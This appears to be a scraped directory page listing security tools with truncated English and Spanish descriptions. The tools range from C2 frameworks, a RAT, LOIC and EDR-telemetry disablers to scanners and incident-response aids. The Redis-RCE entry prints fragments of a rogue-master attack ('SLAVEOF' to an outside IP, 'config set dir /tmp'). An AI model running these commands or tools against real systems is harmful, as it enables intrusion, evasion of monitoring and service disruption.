kubesploit

Kubesploit Kubesploit is a cross-platform post-exploitation HTTP/2 Command & Control server and agent dedicated for containerized environments written in Golang and built on top of Merlin project by Russel Van Tuyl @Ne0nd0g. Our Motivation While researching Docker and Kubernetes, we noticed that...

monkey

Monkey documentation This folder contains the Monkey Documentation site. For more information see content/development/contribute-documentation.md...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

Recheck

Recheck Recheck Escanea profundamente el dominio y encuentra todos los dominios posibles para tomar el control Enlaces rápidos Demo Instalación Características Ejemplo Ejecución / Instalación ¿Cómo ejecutar? git clone https://github.com/tegal1337/Recheck cd Recheck npm install npm start...

threatmap

threatmap Modelador de amenazas estático para IaC que analiza manifiestos de Terraform, CloudFormation y Kubernetes y genera informes estructurados de modelos de amenazas utilizando los marcos STRIDE, MITRE ATT&CK o PASTA. Sin llamadas de red, sin credenciales en la nube, completamente offline. S...

catalyst

Catalyst Acelera tus reacciones Sitio web - El Manual de Catalyst Documentación - Demostración Catalyst es una plataforma de respuesta a incidentes. Puede ayudar a automatizar la gestión de alertas y los procedimientos de respuesta a incidentes. Características Gestión de Tickets Alertas e...

Atlas

Atlas - Sugeridor rápido de tamper de SQLMap v1.0 Atlas es una herramienta de código abierto que puede sugerir tampers de sqlmap para evitar WAF/IDS/IPS, la herramienta se basa en el código de estado devuelto. Pantalla Instalación $ git clone https://github.com/m4ll0k/Atlas.git atlas $ cd atlas $...

cloud-buster

Resolvedor de Cloudflare Una herramienta integral de pentest que verifica sitios habilitados con Cloudflare en busca de fugas de IP de origen. ¡Está llena de características increíbles! escanea una amplia gama de malas configuraciones y vulnerabilidades busca en bases de datos de otros servicios ...

BlackThrone

BlackThrone PHP BlackThrone Script Una alternativa de código abierto a burp collaborator BlackThrone creado para detectar tráfico websockets y HTTP en el sitio web principal, proporcionando algunos encabezados del servidor e información del cliente. BlackThrone es una herramienta basada en web pa...

DcRat

DcRat Debido a que he oído cada vez más abusos de DcRat, he decidido no actualizarlo más. La versión en desarrollo también se cerrará más tarde. Debido a que he oído cada vez más abusos de DcRat, he decidido no actualizar más este proyecto. La nueva versión en desarrollo también se cerrará más...

LOIC

INFORMACIÓN Low Orbit Ion Cannon LOIC es una herramienta de estrés de red de código abierto, escrita en C. LOIC está basado en el proyecto LOIC de Praetox en https://sourceforge.net/projects/loic/ . DESCARGO DE RESPONSABILIDAD LOIC es solo para fines educativos, destinado a ayudar a los...

malwarescanner

MalwareScanner Escáner de malware muy básico por comparación de hash A veces puede ser necesario durante una respuesta a incidentes. Si encuentras archivos nuevos o sospechosos durante la respuesta, querrás verificar dónde existen esos archivos en los sistemas. Por lo tanto, es posible que...

TelemetrySourcerer

Telemetry Sourcerer Introducción Telemetry Sourcerer puede enumerar y deshabilitar fuentes comunes de telemetría utilizadas por AV/EDR en Windows. Los equipos rojos y entusiastas de la seguridad pueden usar esta herramienta en un entorno de laboratorio para: Identificar puntos ciegos basados en...

MetaFinder

MetaFinder Buscar documentos en un dominio a través de motores de búsqueda. El objetivo es extraer metadatos. Instalación: pip3 install metafinder Las actualizaciones también están disponibles usando: pip3 install metafinder --upgrade Uso MetaFinder se puede usar de 2 maneras: CLI metafinder -d...

urlbuster

██╗ ██╗██████╗ ██╗ ██████╗ ██╗ ██╗███████╗████████╗███████╗██████╗ ██║ ██║██╔══██╗██║ ██╔══██╗██║ ██║██╔════╝╚══██╔══╝██╔════╝██╔══██╗ ██║ ██║██████╔╝██║ ██████╔╝██║ ██║███████╗ ██║ █████╗ ██████╔╝ ██║ ██║██╔══██╗██║ ██╔══██╗██║ ██║╚════██║ ██║ ██╔══╝ ██╔══██╗ ╚██████╔╝██║...

msidump

msidump MSI Dump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner. On Macro-enabled Office documents we can quickly use oletools mraptor to determine whether document is malicious. If we want to dissect it further, we...

msidump

msidump MSI Dump - una herramienta que analiza paquetes de instalación MSI maliciosos, extrae archivos, flujos, datos binarios e incorpora un escáner YARA. En documentos de Office con macros, podemos usar rápidamente oletools mraptor para determinar si un documento es malicioso. Si queremos...

redsails

Redsails Acerca de Una herramienta de post-explotación capaz de: mantener la persistencia en una máquina comprometida subvertir muchos registros de eventos de host comunes tanto de red como de inicio de sesión de cuenta generar registros falsos / tráfico de red Basado en PyDivert, un binding de...

kenzer

KENZER - Enumeración y escaneo automatizado de activos web DEPRECATED Menciones Una introducción conceptual a la automatización de Bug Bounties Demo Capturas de pantalla Instrucciones para ejecutar 0. Ejecuta git clone https://github.com/ARPSyndicate/kenzer /home/ubuntu/kenzer && cd...

mapcidr

Un programa utilitario para realizar múltiples operaciones sobre una subred/rango CIDR dado. Características • Instalar • Uso • Biblioteca • Unirse a Discord mapCIDR está desarrollado para facilitar la distribución de carga en operaciones de escaneo masivo; puede usarse tanto como biblioteca como...